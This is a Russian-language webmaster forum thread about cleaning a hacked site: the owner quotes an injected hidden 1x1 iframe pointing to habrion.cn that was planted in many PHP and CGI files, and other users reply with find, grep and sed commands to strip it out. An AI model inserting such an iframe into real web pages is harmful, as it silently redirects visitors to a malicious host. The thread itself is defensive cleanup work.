как удалить кусок кода через ssh

seosniks
На сайте с 13.08.2007
Offline
389
951

Добрый день, ситуация такая, уже давно внедрили код

щас поискал нашел много страниц где такой код имеется, код везде одинаков а именно такой.

<iframe frameborder=0 border=0 height=1 width=1 src="хххх://habrion.cn/in.cgi?3" /></body></html>

как пройтись через SSH чтоб удалить эту строку из каждого файла?

я нашел все страницы где есть такой код.

Нашел эти файлы так

find . \( -regex '.*\.php$' -o -regex '.*\.cgi$' \) -print0 | xargs -0 egrep -il "habrion.cn *force" > shell.txt

Просто руками будет очень много работы.

Спасибо.

:mad:

DV
На сайте с 01.05.2010
Offline
644
#1

sed

10 седов

VDS хостинг ( http://clck.ru/0u97l ) Нет нерешаемых задач ( https://searchengines.guru/ru/forum/806725 ) | Перенос сайтов на Drupal 7 с любых CMS. ( https://searchengines.guru/ru/forum/531842/page6#comment_10504844 )
vandamme
На сайте с 30.11.2008
Offline
675
#2

seosniks, проче скачать на комп и пройтись notepad++, если не дружишь с юникс системами

[umka]
На сайте с 25.05.2008
Offline
456
#3

mkdir clean

for f in `grep -lr habrion *`; do echo $f; if [ -d ${f%/*} ]; then mkdir clean/${f%/*}; fi; sed '/<iframe frameborder=0 border=0 height=1 width=1 src="xxxx:\/\/habrion\.cn\/in\.cgi\?3" \/>/s///' $f > clean/$f; done

все почищеные файлы сложатся в директорию 'clean'

Лог в помощь!
seosniks
На сайте с 13.08.2007
Offline
389
#4
'[umka:
;9570251']mkdir clean

for f in `grep -lr habrion *`; do echo $f; if [ -d ${f%/*} ]; then mkdir clean/${f%/*}; fi; sed '/<iframe frameborder=0 border=0 height=1 width=1 src="xxxx:\/\/habrion\.cn\/in\.cgi\?3" \/>/s///' $f > clean/$f; done

все почищеные файлы сложатся в директорию 'clean'

umka, Спасибо. Я решил скачать все эти файлы на комп,

подскажите етсь ли возможность с помощью PHP выкачать ссылки

такого вида

./user11/data/www/site.ru/moderator/index.php

./user2/data/www/site.ru/wp-app.php

А потом залить их обратно зная полный путь.

[umka]
На сайте с 25.05.2008
Offline
456
#5
seosniks
На сайте с 13.08.2007
Offline
389
#6

Всем спасибо, Почистил код частично руками частично скриптом где много было файлов

Написал обычный копипаст скрипт.

Всем спасибо за помощь.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий